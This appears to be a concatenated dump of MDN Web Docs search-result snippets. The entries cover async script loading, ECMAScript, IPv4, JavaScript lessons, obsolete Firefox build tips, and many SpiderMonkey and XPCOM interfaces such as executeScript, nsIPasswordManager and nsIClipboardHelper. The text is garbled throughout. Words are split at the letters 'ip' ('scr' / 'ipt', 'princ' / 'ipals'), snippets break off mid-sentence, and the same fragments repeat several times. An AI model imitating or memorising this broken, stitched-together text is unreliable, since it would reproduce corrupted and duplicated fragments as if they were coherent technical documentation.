ipten generates produces the latter. when is async not async? two common situations in which a scr
ipt is *not* async (as defined by the html spec) are: <scr
ipt async>code</scr
ipt> and var scr
ipt = document.createelement('scr
ipt'); scr
ipt.innerhtml = "code"; document.body.appendchild(scr
ipt); both are counted as 'inline' scr
ipts and get compiled and then run immediately. what if your code is in a js string? instead of using eval or innerhtml, both of which trigger synchronous compilation, yo...
...nd var scr
ipt = document.createelement('scr
ipt'); scr
ipt.innerhtml = "code"; document.body.appendchild(scr
ipt); both are counted as 'inline' scr
ipts and get compiled and then run immediately. what if your code is in a js string? instead of using eval or innerhtml, both of which trigger synchronous compilation, you should use a blob with an object url: var blob = new blob([codestring]); var scr
ipt = document.createelement('scr
ipt'); var url = url.createobjecturl(blob); scr
ipt.onload = scr
ipt.onerror = function() { url.revokeobjecturl(url); }; scr
ipt.src = url; document.body.appendchild(scr
ipt); the setting of src rather than innerhtml is what makes this scr
ipt async. ...
ECMAScript - MDN Web Docs Glossary: Definitions of Web-related terms
ecmascr
ipt is a scr
ipting language specification on which javascr
ipt is based. ecma international is in charge of standardizing ecmascr
ipt. ...
... ecmascr
ipt is a scr
ipting language specification on which javascr
ipt is based. ecma international is in charge of standardizing ecmascr
ipt. ...
... ecmascr
ipt is a scr
ipting language specification on which javascr
ipt is based. ecma international is in charge of standardizing ecmascr
ipt. ...
... ecmascr
ipt is a scr
ipting language specification on which javascr
ipt is based. ecma international is in charge of standardizing ecmascr
ipt. ...
IPv4 - MDN Web Docs Glossary: Definitions of Web-related terms
ipv4 is the fourth version of the communication protocol underlying the internet and the first version to be widely deployed. first formalized in 1981,
ipv4 traces its roots to the initial development work for arpanet.
ipv4 is a connectionless protocol to be used on packet-switched link layer networks (ethernet).
ipv6 is gradually replacing
ipv4 owing to
ipv4's security problems and the limitations of its address field. ...
... 1981,
ipv4 traces its roots to the initial development work for arpanet.
ipv4 is a connectionless protocol to be used on packet-switched link layer networks (ethernet).
ipv6 is gradually replacing
ipv4 owing to
ipv4's security problems and the limitations of its address field. ...
...tial development work for arpanet.
ipv4 is a connectionless protocol to be used on packet-switched link layer networks (ethernet).
ipv6 is gradually replacing
ipv4 owing to
ipv4's security problems and the limitations of its address field. ...
...pment work for arpanet.
ipv4 is a connectionless protocol to be used on packet-switched link layer networks (ethernet).
ipv6 is gradually replacing
ipv4 owing to
ipv4's security problems and the limitations of its address field. ...
Test your skills: CSS and JavaScript accessibility - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help -- see the assessment or further help section at the bottom of this page. css accessibility 1 in the first task you are presented with a list of links. however, their accessibility is pretty bad -- there is no way to really tell that they are links, or to tell which one the user is focussed on. ...
...ze that fix the problem. 3. update the css with these new values to fix the problem. 4. test the code to make sure the problem is now fixed. explain what tools or methods you used to select the new values and test the code. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. ...
...to fix the problem. 4. test the code to make sure the problem is now fixed. explain what tools or methods you used to select the new values and test the code. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. javascr
ipt accessibility 1 in our final task here, you have some javascr
ipting to do. we have a simple app that presents a list of animal names. clicking one of the animal names causes a further descr
iption of that animal to appear in a box below the list. but it is not very accessible -- in its current state you can only operate it with the mouse. we'd like you to add to the html and javascr
ipt to make it keyboard acessible too. download the starting point for this ...
...ve. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. you can write the code yourself, or use the starting point files linked to in the above sections. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for css accessibility 1 skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help so...
JavaScript building blocks - Learn web development
in this module, we continue our coverage of all javascr
ipt's key fundamental features, turning our attention to commonly-encountered types of code blocks such as conditional statements, loops, functions, and events. you've seen this stuff already in the course, but only in passing -- here we'll discuss it all explicitly. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites before starting this module, you should have some familiarity with the basics of html and css, and you should have also worked through our previous module, javascr
ipt first steps. note: if you are working on a computer/tablet/other device where you don't have the ability to create your o...
...any programming language, code needs to make decisions and carry out actions accordingly depending on different inputs. for example, in a game, if the player's number of lives is 0, then it's game over. in a weather app, if it is being looked at in the morning, show a sunrise graphic; show stars and a moon if it is nighttime. in this article we'll explore how conditional structures work in javascr
ipt. looping code sometimes you need a task done more than once in a row. for example, looking through a list of names. in programming, loops perform this job very well. here we will look at loop structures in javascr
ipt. functions -- reusable blocks of code another essential concept in coding is functions. functions allow you to store a piece of code that does a single task inside a defined blo...
...in this article we'll explore fundamental concepts behind functions such as basic syntax, how to invoke and define functions, scope, and parameters. build your own function with most of the essential theory dealt with previously, this article provides a practical experience. ...
...tells you about so you can respond to them in some way if desired. for example if the user clicks a button on a webpage, you might want to respond to that action by displaying an information box. in this final article we will discuss some important concepts surrounding events, and look at how they work in browsers. assessments the following assessment will test your understanding of the javascr
ipt basics covered in the guides above. image gallery now that we've looked at the fundamental building blocks of javascr
ipt, we'll test your knowledge of loops, functions, conditionals and events by building a fairly common item you'll see on a lot of websites -- a javascr
ipt-powered image gallery. ...
Obsolete Build Caveats and Tips
purpose of this page the mozilla build process and code base have evolved considerably over the past few years. this has resulted in many caveats and t
ips being added to the mdn documentation for building older versions of the code base or dealing with older build tools. these t
ips, while helpful, are jarring and superfluous to the majority of new mozilla builders who are mainly interested in building the latest version of firefox. therefore, instead of deleting all these nuggets of information, it's best to collect them all here and remove them from the majority happy path documentation. ...
...y interested in building the latest version of firefox. therefore, instead of deleting all these nuggets of information, it's best to collect them all here and remove them from the majority happy path documentation. each piece of information should mention the page and the section it originally came from. you can copy in the original text and bold out what has been removed. ...
...s been found to cause the following problems: breaks the vcvars32.bat file from visual studio 2008 no longer sets the correct path for the .net framework causes an invalid path which breaks the mozilla build if you have the windows server 2008 sdk installed, uninstall it. the sdk will break builds even if you try to use other sdks. other possible workarounds: use another sdk (the one sh
ipped with visual studio 9). delete the vcvars32.bat file and repair your visual studio installation with the setup program. edit vcvars32.bat to correct the problem (see http://blogs.msdn.com/windowssdk/arc...vironment.aspx "workaround: repair the vs2008 command line build environment by editing c:\program files\microsoft visual studio 9.0\vc\bin\vcvars32.bat manually"). sdks older than the ser...
... the included windbg debugger. from configuring build options [en-us] note: starting with gecko 5.0, building firefox has become extremely simple. the default application is now firefox, so you can build firefox by simply doing configure && make (for standalone source tarballs) or make -f client.mk (for code from the mercurial repository); this will build something roughly the same as the sh
ipped version of firefox corresponding to the code you have. you only need to follow the steps below if you want to customize the build (e.g., to create a debug build or a release build with debug symbols), you want to build something other than firefox, or you want to build pre-gecko 5.0 source. if you are building mozilla source code from before firefox 5, then you must first select the mozilla ...
HTMLIFrameElement.executeScript()
warning: removed in firefox 65. the executescr
ipt() method of the htmliframeelement interface allows a specified scr
ipt to be executed against a page loaded in the browser <iframe>. note: use of the browser api requires a privileged app, and browser and/or embed-apps permissions, depending on what you want to do. see using the browser api for more details. syntax var mydomrequest = instanceofhtmliframeelement.executescr
ipt(scr
ipt, options); return value a domrequest object that returns an onsuccess handler if the scr
ipt is successfully executed against the loaded content, or an onerror handler if not. parameters scr
ipt the scr
ipt to be executed. options optional optionally, you can provide an origin or url for the scr
ipt to be executed against. it's recommended that you in...
...eturn value a domrequest object that returns an onsuccess handler if the scr
ipt is successfully executed against the loaded content, or an onerror handler if not. parameters scr
ipt the scr
ipt to be executed. options optional optionally, you can provide an origin or url for the scr
ipt to be executed against. it's recommended that you include an origin or url, in order to ensure that the scr
ipt is being executed in the expected context: origin: an origin, e.g. http://example.com url: a url, e.g. http://example.com/index.html note: the options parameter does not currently seem to have much effect. the scr
ipt seems to execute even if a url/origin is specified. ...
...ed that you include an origin or url, in order to ensure that the scr
ipt is being executed in the expected context: origin: an origin, e.g. http://example.com url: a url, e.g. http://example.com/index.html note: the options parameter does not currently seem to have much effect. the scr
ipt seems to execute even if a url/origin is specified. ...
...e.g. http://example.com/index.html note: the options parameter does not currently seem to have much effect. the scr
ipt seems to execute even if a url/origin is specified. examples var request1 = browser.executescr
ipt( var a = 3; a + 3 , {url: 'http://example.com/index.html'}); request1.onsuccess = function() { console.log(request1.result); // 6 } var request2 = browser.executescr
ipt( new promise((resolve, reject) => { settimeout(function() { resolve(6); }, 1000}) ) , {origin: 'http://example.com'}); request2.onsuccess = function() { console.log(request2.result); // 6 } if the scr
ipt value is a not a promise, it is simply returned as the request value. if the scr
ipt value is a promise, the result of the request will be the promise-resolved value. speci...
JavaScript OS.Constants
getservice(components.interfaces.nsiosfileconstantsservice). init(); from a chrome worker no initialization is required. module os.constants is always available for chrome workers. os.constants.sys constants related to system configuration. name the name of the operating system (e.g. "darwin"). debug set to true on debug build configurations, non-existent otherwise. ...
...nstants.sys constants related to system configuration. name the name of the operating system (e.g. "darwin"). debug set to true on debug build configurations, non-existent otherwise. os.constants.path paths of well-known files and directories. libxul the path to the file containing libxul. useful, for instance, to access the platform code from javascr
ipt in conjunction with js-ctypes. profiledir the path to the current profile. homedir the path to the user's home directory. winappdatadir the path to the user's roaming application data directory. winlocalappdatadir the path to the user's local application data directory. winstartmenuprogsdir the path to the programs subdirectory in the u...
...s to interact with the following platforms: macos x; android; linux; other variants of unix. os.constants.libc is available on all platforms, although some constants are not defined everywhere. before using a constant, you should check that it is defined. error values eacces permission denied eagain resource temporarily unavailable ebadf bad file descr
iptor eexist file exists efault bad address efbig file too large einval invalid argument eio input/output error eisdir is a directory eloop (not always available under windows) too many levels of symbolic links. emfile too many open files in the process enametoolong name too long ...
...ll other users can read the file. s_iwoth all other users can write (modify) the file. s_ixoth all other users can execute the file. unix opening mode o_append open the file for appending. o_creat create the file if it does not exist yet. o_directory (linux only) succeed only of the file is a directory. o_evtonly descr
iptor requested for event notifications only. o_excl raise an error if o_creat is set and the file exists. o_exlock atomically obtain an exclusive lock. o_largefile o_nofollow do not follow symbolic links. o_nonblock do not block on open or for data to become available. o_rdonly open the file for read only. o_rdwr ...
JSObjectPrincipalsFinder
obsolete since jsapi 17this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. jsobjectprinc
ipalsfinder is the type of a security callback that can be configured using js_setobjectprinc
ipalsfinderjsapi 1.8 and earlier or js_setruntimesecuritycallbacksadded in spidermonkey 1.8.1. callback syntax typedef jsprinc
ipals * (* jsobjectprinc
ipalsfinder)(jscontext *cx, jsobject *obj); name type descr
iption cx jscontext * the context in which to find princ
ipals. obj jsobject * the object whose princ
ipals are needed. descr
iption the javascr
ipt engine calls this callback to obtain princ
ipals for a jsprinc
ipals.subsume check. for example, when a...
...bj jsobject * the object whose princ
ipals are needed. descr
iption the javascr
ipt engine calls this callback to obtain princ
ipals for a jsprinc
ipals.subsume check. for example, when a watchpoint triggers, the engine calls the callback, passing the watchpoint handler, to ensure that watchpoint handlers are invoked only when the watcher is permitted to watch the currently executing scr
ipt. another example: when the function constructor is called, the javascr
ipt engine calls the object princ
ipals finder callback to obtain princ
ipals for the local scope object, to check that the caller has access to that object. the two debugger functions js_stackframeprinc
ipals and js_evalframeprinc
ipals also use this callback. since it is very common for jsobjectops.checkaccess or jsclass.check...
...called, the javascr
ipt engine calls the object princ
ipals finder callback to obtain princ
ipals for the local scope object, to check that the caller has access to that object. the two debugger functions js_stackframeprinc
ipals and js_evalframeprinc
ipals also use this callback. since it is very common for jsobjectops.checkaccess or jsclass.checkaccess hooks to call these functions, the object princ
ipals finder callback is a key security feature. the callback returns a pointer to the princ
ipals associated with obj, possibly via the immutable parent chain leading from obj to a top-level container (such as a window object in the dom). if there are no princ
ipals associated with obj, return null. therefore null does not mean an error was reported; in no event should an error be reported or an exc...
...nc
ipals associated with obj, possibly via the immutable parent chain leading from obj to a top-level container (such as a window object in the dom). if there are no princ
ipals associated with obj, return null. therefore null does not mean an error was reported; in no event should an error be reported or an exception be thrown by this callback's implementation. the callback should not call jsprinc
ipals_hold. see also bug 784551 ...
JSPrincipalsTranscoder
jsprinc
ipalstranscoder is the type of a security callback that can be configured using js_setprinc
ipalstranscoderjsapi 1.8 and earlier or js_setruntimesecuritycallbacksadded in spidermonkey 1.8.1. callback syntax typedef jsbool (*jsprinc
ipalstranscoder)(jsxdrstate *xdr, jsprinc
ipals **princ
ipalsp); name type descr
iption xdr jsxdrstate * the xdr reader/writer. princ
ipalsp jsprinc
ipals ** if xdr->mode == jsxdr_decode, this is an out parameter: on success, *princ
ipalsp receives the deserialized princ
ipals. otherwise xdr->mode == jsxdr_encode, and *princ
ipalsp points to the jsprinc
ipals object to be serialized. ...
...rinc
ipals **princ
ipalsp); name type descr
iption xdr jsxdrstate * the xdr reader/writer. princ
ipalsp jsprinc
ipals ** if xdr->mode == jsxdr_decode, this is an out parameter: on success, *princ
ipalsp receives the deserialized princ
ipals. otherwise xdr->mode == jsxdr_encode, and *princ
ipalsp points to the jsprinc
ipals object to be serialized. descr
iption the javascr
ipt engine uses this callback to serialize and deserialize princ
ipals. each scr
ipt function is associated with princ
ipals, which poses a problem for xdr. the application provides the jsprinc
ipals objects, so it must also provide a jsprinc
ipalstranscoder if it intends to serialize or deserialize princ
ipals. ...
...be serialized. descr
iption the javascr
ipt engine uses this callback to serialize and deserialize princ
ipals. each scr
ipt function is associated with princ
ipals, which poses a problem for xdr. the application provides the jsprinc
ipals objects, so it must also provide a jsprinc
ipalstranscoder if it intends to serialize or deserialize princ
ipals. the callback xdr-encodes or -decodes a princ
ipals instance, based on whether xdr->mode is jsxdr_encode, in which case *princ
ipalsp should be encoded; or jsxdr_decode, in which case implementations must return a held (via jsprinc
ipals_hold), non-null *princ
ipalsp out parameter. return js_true on success, js_false on any error, which the implementation must have reported. ...
... the callback xdr-encodes or -decodes a princ
ipals instance, based on whether xdr->mode is jsxdr_encode, in which case *princ
ipalsp should be encoded; or jsxdr_decode, in which case implementations must return a held (via jsprinc
ipals_hold), non-null *princ
ipalsp out parameter. return js_true on success, js_false on any error, which the implementation must have reported. ...
Running Automated JavaScript Tests
there are two test suites, affectionately called "jstests" and "jit-tests". sometimes jstests are called js reftests because of how they are run in the browser. both sets of tests can be used from a normal build of the js shell. (some js reftests will be sk
ipped when run in the browser, as it lacks some shell-specific testing functionality.) running jstests running jstests on a js shell the jstests shell harness is js/src/tests/jstests.py. basic usage is: jstests.py path_to_js_shell or using mach: ./mach jstests note that mach will generally find the js shell itself; the --shell argument can be used to specify the location manually. all other flags will be passed along to the harness. developers will often want to use the -d option: jstests.py -d path_to_js_shell the -d option s...
...ests shell harness is js/src/tests/jstests.py. basic usage is: jstests.py path_to_js_shell or using mach: ./mach jstests note that mach will generally find the js shell itself; the --shell argument can be used to specify the location manually. all other flags will be passed along to the harness. developers will often want to use the -d option: jstests.py -d path_to_js_shell the -d option sk
ips tests that are marked as randomly failing; random failures are usually just noise when being run for day-to-day developer testing. another common use case is to run just one test, or all the tests in just one directory: jstests.py path_to_js_shell test_path_substring [ test_path_substring_2 ... ] this runs all the tests whose paths contain test_path_substring. thus, you can run one test by gi...
..., jstests take a long time to complete. for a smoke test or if you are not changing language-level functionality, you may wish to use jstests.py path_to_js_shell --exclude=test262 other options allow you to show the test command lines being run, command output and return codes, run tests named in a given file, exclude tests named in a given file, hide the progress bar, change the timeout, run sk
ipped tests, print output in tinderbox format, run a test in the debugger, or run tests in valgrind. run with the -h option to see all the options. the jstests test suite also includes some tests from web-platform-tests. by default, these are only run when no tests paths are specified; this can be overridden by the --wpt=enabled flag. running jstest in a browser jstests also runs on browser, with...
...-line argument, where pattern is a regexp pattern that is tested against file:///{path_to_obj_dir}/dist/test-stage/jsreftest/tests/jsreftest.html?test={relative_path_to_test_from_js/src/tests} string: ./mach jstestbrowser --filter=pattern running jstests on treeherder when viewing treeherder after a push to the mozilla repositories, jstests run in the browser are shown as r(j) meaning "javascr
ipt reftests". most of the spidermonkey shell jobs, labeled sm(...), will include js shell runs of both jstests and jit-tests. running jit-tests the jit-test suite uses a python harness that is similar to the jstests shell harness, but with some minor differences. basic usage is the same: jit_test.py path_to_js_shell developers will usually want to run like this to sk
ip the slow tests and cover ...
nsScriptableInputStream
<< xpcom api reference summary a component implementing nsiscr
iptableinputstream. class id 7225c040-a9bf-11d3-a197-0050041caf44 contractid @mozilla.org/scr
iptableinputstream;1 supported interfaces nsiscr
iptableinputstream, nsiinputstream remarks this component should be accessed via the xpcom component manager. ...
... << xpcom api reference summary a component implementing nsiscr
iptableinputstream. class id 7225c040-a9bf-11d3-a197-0050041caf44 contractid @mozilla.org/scr
iptableinputstream;1 supported interfaces nsiscr
iptableinputstream, nsiinputstream remarks this component should be accessed via the xpcom component manager. ...
... xpcom api reference summary a component implementing nsiscr
iptableinputstream. class id 7225c040-a9bf-11d3-a197-0050041caf44 contractid @mozilla.org/scr
iptableinputstream;1 supported interfaces nsiscr
iptableinputstream, nsiinputstream remarks this component should be accessed via the xpcom component manager. example code const nsiscr
iptableinputstream = components.interfaces.nsiscr
iptableinputstream; function consumestream(inputstream) { var factory = components.classes["@mozilla.org/scr
iptableinputstream;1"]; var sis = factory.createinstance(nsiscr
iptableinputstream); sis.init(inputstream); try { while (true) { var chunk = sis.read(512); if (chunk.length == 0) break; // ok, chunk now contains a portion of the stream's data. ...
... sis = factory.createinstance(nsiscr
iptableinputstream); sis.init(inputstream); try { while (true) { var chunk = sis.read(512); if (chunk.length == 0) break; // ok, chunk now contains a portion of the stream's data. ...
nsIClipboardHelper
widget/public/nsicl
ipboardhelper.idlscr
iptable the nsicl
ipboardhelper interface is a helper service for common uses of nsicl
ipboard interface. inherits from: nsisupports last changed in gecko 1.7 method overview void copystring(in astring astring); void copystringtocl
ipboard(in astring astring, in long acl
ipboardid); methods copystring() this method copies string to (default) cl
ipboard. void copystring( in astring astring ); parameters astring the string to copy to the cl
ipboard. copystringtocl
ipboard() this method copies string to given cl
ipboard. void copystringtocl
ipboard( in astring astring, in long acl
ipboardid ); parameters astring the string to copy to the cl
ipboard. ...
... methods copystring() this method copies string to (default) cl
ipboard. void copystring( in astring astring ); parameters astring the string to copy to the cl
ipboard. copystringtocl
ipboard() this method copies string to given cl
ipboard. void copystringtocl
ipboard( in astring astring, in long acl
ipboardid ); parameters astring the string to copy to the cl
ipboard. acl
ipboardid the id of the cl
ipboard to copy to (for example kselectioncl
ipboard). ...
...in astring astring ); parameters astring the string to copy to the cl
ipboard. copystringtocl
ipboard() this method copies string to given cl
ipboard. void copystringtocl
ipboard( in astring astring, in long acl
ipboardid ); parameters astring the string to copy to the cl
ipboard. acl
ipboardid the id of the cl
ipboard to copy to (for example kselectioncl
ipboard). ...
... parameters astring the string to copy to the cl
ipboard. copystringtocl
ipboard() this method copies string to given cl
ipboard. void copystringtocl
ipboard( in astring astring, in long acl
ipboardid ); parameters astring the string to copy to the cl
ipboard. acl
ipboardid the id of the cl
ipboard to copy to (for example kselectioncl
ipboard). ...
nsIParentalControlsService
toolkit/components/parentalcontrols/public/ns
iparentalcontrolsservice.idlscr
iptable this interface provides access to the operating system's parental controls feature, allowing code to detect whether such a service is enabled and to request overrides to bypass the feature. 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) note: currently, this interface is only supported on microsoft windows vista and newer as well as android 4.3 and newer. implemented by: @mozilla.org/parental-controls-service;1. ...
... in gecko 1.9 (firefox 3) note: currently, this interface is only supported on microsoft windows vista and newer as well as android 4.3 and newer. implemented by: @mozilla.org/parental-controls-service;1. ...
...read only. loggingenabled boolean true if the current user account has parental controls logging enabled. if this is true, applications should log relevant events using log() method. read only. parentalcontrolsen...
...s. read only. loggingenabled boolean true if the current user account has parental controls logging enabled. if this is true, applications should log relevant events using log() method. read only. parentalcontrolsenabled boolean true if the current user account has parental controls restrictions enabled. read only. constants constant value descr
iption epclog_urivisit 1 this log entry type represents an access to web content. epclog_filedownload 2 this log entry type represents a file download. methods log() logs an application specific parental controls event. void log( in short aentrytype, in boolean aflag, in nsiuri asource, in nsifile atarget optional ); parameters aentrytype the typ...
nsIPasswordManager
netwerk/base/public/ns
ipasswordmanager.idlscr
iptable used to interface with the built-in password manager 66 introduced gecko 1.0 deprecated gecko 1.9 inherits from: nsisupports last changed in gecko 1.0 see using ns
ipasswordmanager for examples. implemented by: @mozilla.org/passwordmanager;1. ...
...ord manager 66 introduced gecko 1.0 deprecated gecko 1.9 inherits from: nsisupports last changed in gecko 1.0 see using ns
ipasswordmanager for examples. implemented by: @mozilla.org/passwordmanager;1. ...
...only the host portion of these objects is relevant. methods adduser() stores a password. ...
...ng apassword); void removeuser(in autf8string ahost, in astring auser); void addreject(in autf8string ahost); void removereject(in autf8string ahost); attributes attribute type descr
iption enumerator nsisimpleenumerator readonly: an enumeration of the stored usernames and passwords as ns
ipassword objects. enumerator nsisimpleenumerator readonly: an enumeration of the rejected sites as ns
ipassword objects. only the host portion of these objects is relevant. methods adduser() stores a password. astring adduser(in autf8string ahost, in astring auser, in astring apassword); parameters ahost the host...
nsIPlacesView
it's currently implemented directly on each of the built-in places views. ...
...between trees, menus, and other such lists. controllers should not be concerned with these details; controller code should not be required to decode the meaning of a selection depending on what kind of view produced the selection. rather, each view is responsible for translating its own selection format into one the controller can understand. views do this, and other things, by implementing the ns
iplacesview interface. note: ns
iplacesview does not exist in idl at the moment. it's currently implemented directly on each of the built-in places views. method overview nsinavhistoryresultnode[] getdragableselection(); nsinavhistoryresultnode[][] getremovableselectionranges(); nsinavhistoryresult getresult(); nsinavhistorycontainerresultnode getresultnode(); ...
...in places views. method overview nsinavhistoryresultnode[] getdragableselection(); nsinavhistoryresultnode[][] getremovableselectionranges(); nsinavhistoryresult getresult(); nsinavhistorycontainerresultnode getresultnode(); nsinavhistoryresultnode[] getselectionnodes(); void selectall(); attributes attribute type descr
iption hasselection boolean whether or not there are selected items. read only. insertionpoint insertionpoint the insertionpoint at which new items will be inserted upon drop, paste, or creation. read only. place string theuri (as a string) of the root place that the view displays. this may be modified dynamically to update the view. see displaying places...
...he insertionpoint at which new items will be inserted upon drop, paste, or creation. read only. place string theuri (as a string) of the root place that the view displays. this may be modified dynamically to update the view. see displaying places information using views for examples. selectednode nsinavhistoryresultnode the selected node in the view. if there are mult
iple selected nodes, this is null. read only. methods getdragableselection() returns an array of selected nsinavhistoryresultnode objects that can be dragged from the view. nsinavhistoryresultnode[] getdragableselection(); parameters none. return value an array of nsinavhistoryresultnode objects. getremovableselectionranges() returns an array whose elements are themselves arrays of ...
nsIPrefBranch2
atopic - the string defined by ns_prefbranch_prefchange_topic_id adata - the name of the preference which has changed, relative to the "root" of the asubject branch. asubject.get*pref(adata) will get the new value of the modified preference. ...
... atopic - the string defined by ns_prefbranch_prefchange_topic_id adata - the name of the preference which has changed, relative to the "root" of the asubject branch. asubject.get*pref(adata) will get the new value of the modified preference. ...
...bserver, and adata parameter will be "bar.baz". void addobserver( in string adomain, in nsiobserver aobserver, in boolean aholdweak ); parameters adomain the preference on which to listen for changes. this can be the name of an entire branch to observe. for example holding the "root" prefbranch and calling addobserver("foo.bar.", ...) will observe changes to foo.bar.baz and foo.bar.bz
ip. ...
... void removeobserver( in string adomain, in nsiobserver aobserver ); parameters adomain the preference which is being observed for changes. aobserver an observer previously registered with addobserver. ...
nsIPrinterEnumerator
widget/ns
iprintoptions.idlscr
iptable please add a summary to this article. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void displaypropertiesdlg(in wstring aprinter, in ns
iprintsettings aprintsettings); void enumerateprinters(out pruint32 acount,[retval, array, size_is(acount)] out wstring aresult); obsolete since gecko 1.9 void initprintsettingsfromprinter(in wstring aprintername, in ns
iprintsettings aprintsettings); attributes attribute type descr
iption defaultprintername wstring the name of the system default printer. this name should also be present in printernamelist. ...
... gecko 1.9 void initprintsettingsfromprinter(in wstring aprintername, in ns
iprintsettings aprintsettings); attributes attribute type descr
iption defaultprintername wstring the name of the system default printer. this name should also be present in printernamelist. this is not necessarily gecko's default printer; see ns
iprintsettingsservice.defaultprintername for that. read only. printernamelist nsistringenumerator the list of printer names. read only. ...
...f the system default printer. this name should also be present in printernamelist. this is not necessarily gecko's default printer; see ns
iprintsettingsservice.defaultprintername for that. read only. printernamelist nsistringenumerator the list of printer names. read only. methods displaypropertiesdlg() void displaypropertiesdlg( in wstring aprinter, in ns
iprintsettings aprintsettings ); parameters aprinter aprintsettings enumerateprinters() obsolete since gecko 1.9 (firefox 3) returns an array of the names of all installed printers. void enumerateprinters( out pruint32 acount, [retval, array, size_is(acount)] out wstring aresult ); parameters acount returns number of pr...
...aresult ); parameters acount returns number of printers returned. aresult returns array of names. ...
nsIProcess2
xpcom/threads/ns
iprocess.idlscr
iptable this interface represents an executable process. this expands upon the ns
iprocess interface. 1.0 66 introduced gecko 1.9.1 obsolete gecko 1.9.2 inherits from: ns
iprocess last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) gecko 1.9.2 note this interface was removed in gecko 1.9.2 and its method added to ns
iprocess. implemented by: @mozilla.org/process/util;1. ...
... inherits from: ns
iprocess last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) gecko 1.9.2 note this interface was removed in gecko 1.9.2 and its method added to ns
iprocess. implemented by: @mozilla.org/process/util;1. to create an instance, use: var process2 = components.classes["@mozilla.org/process/util;1"] .createinstance(components.interfaces.ns
iprocess2); method overview void runasync([array, size_is(count)] in string args, in unsigned long count, [optional] in nsiobserver observer, [optional] in boolean holdweak); methods runasync() asynchronously runs the process with which the object was initialized, optionally calling an observer when the process finishes running. void runasync( [array, size_is(count)] in st...
...erver observer, optional in boolean holdweak optional ); parameters args an array of arguments to pass into the process, using the native character set. this array must have count entries. count the number of arguments passed in the args array. ...
...ments passed in the args array. observer optional an observer that will be notified when the process exits. the observer will receive this ns
iprocess2 instance as the subject and "process-finished" or "process-failed" as the topic. the observer will be notified on the main thread. ...
nsIPropertyBag
read only. methods getproperty() get a property value for the given name. nsivariant getproperty( in astring name ); parameters name the name to return the matching property. return value the property matching the given name. exceptions thrown ns_error_failure if a property with that name doesn't exist. ...
...read only. methods getproperty() get a property value for the given name. nsivariant getproperty( in astring name ); parameters name the name to return the matching property. return value the property matching the given name. exceptions thrown ns_error_failure if a property with that name doesn't exist. ...
...latform:"win32" plugins:pluginarray product:"gecko" productsub:"20100101" useragent:"mozilla/5.0 (windows nt 5.1; rv:30.0) gecko/20100101 firefox/30.0" vendor:"" vendorsub:"" __proto__:navigatorprototype from here we can easily see the operating system version. services.appinfo.os simply tells us winnt only, this is not helpful to differentiate between windows xp, vista, 7, etc. ...
...also pay attention to their platform-specific meaning (e.g. ...
nsIProtocolProxyCallback
netwerk/base/public/ns
iprotocolproxycallback.idlscr
iptable this interface serves as a closure for ns
iprotocolproxyservice.asyncresolve(). 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void onproxyavailable(in nsicancelable arequest, in nsiuri auri, in ns
iproxyinfo aproxyinfo, in nsresult astatus); methods onproxyavailable() this method is called when proxy info is available or when an error in the proxy resolution occurs. void onproxyavailable( in nsicancelable arequest, in nsiuri auri, in ns
iproxyinfo aproxyinfo, in nsresult astatus ); parameters arequest the value returned from asyncresolve. auri the ...
...y resolution occurs. void onproxyavailable( in nsicancelable arequest, in nsiuri auri, in ns
iproxyinfo aproxyinfo, in nsresult astatus ); parameters arequest the value returned from asyncresolve. auri the uri passed to asyncresolve. aproxyinfo the resulting proxy info or null if there is no associated proxy info for auri. as with the result of ns
iprotocolproxyservice's resolve method, a null result implies that a direct connection should be used. astatus the status of the callback. ...
... of ns
iprotocolproxyservice's resolve method, a null result implies that a direct connection should be used. astatus the status of the callback. this is a failure code if the request could not be satisfied, in which case the value of astatus indicates the reason for the failure and aproxyinfo will be null. the value returned from asyncresolve. ...
...proxyservice's resolve method, a null result implies that a direct connection should be used. astatus the status of the callback. this is a failure code if the request could not be satisfied, in which case the value of astatus indicates the reason for the failure and aproxyinfo will be null. the value returned from asyncresolve. see also nsicancelable nsiuri ns
iproxyinfo ns
iprotocolproxyservice ...
nsIScriptableUnicodeConverter
this legacy api represents binary data using the lower haft of each 16-bit code unit in a javascr
ipt string. if the other apis you are reading data from or writing data to don't require you to use this legacy representation, you should use textdecoder and textencoder (available to chrome javascr
ipt via components.utils.importglobalproperties) instead of this api. intl/uconv/idl/nsiscr
iptableuconv.idlscr
iptable this interface is a unicode encoder for use by scr
ipts. inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: @mozilla.org/intl/scr
iptableunicodeconverter. ...
...lobalproperties) instead of this api. intl/uconv/idl/nsiscr
iptableuconv.idlscr
iptable this interface is a unicode encoder for use by scr
ipts. inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: @mozilla.org/intl/scr
iptableunicodeconverter. ...
...e this interface is a unicode encoder for use by scr
ipts. inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: @mozilla.org/intl/scr
iptableunicodeconverter. ...
...throws ns_error_uconv_noconv if the requested charset is not supported. methods convertfromunicode() converts the data from unicode to one charset. returns the converted string. after converting, finish should be called and its return value appended to this return value. acstring convertfromunicode( in astring asrc ); finish()...
nsIXPCScriptable
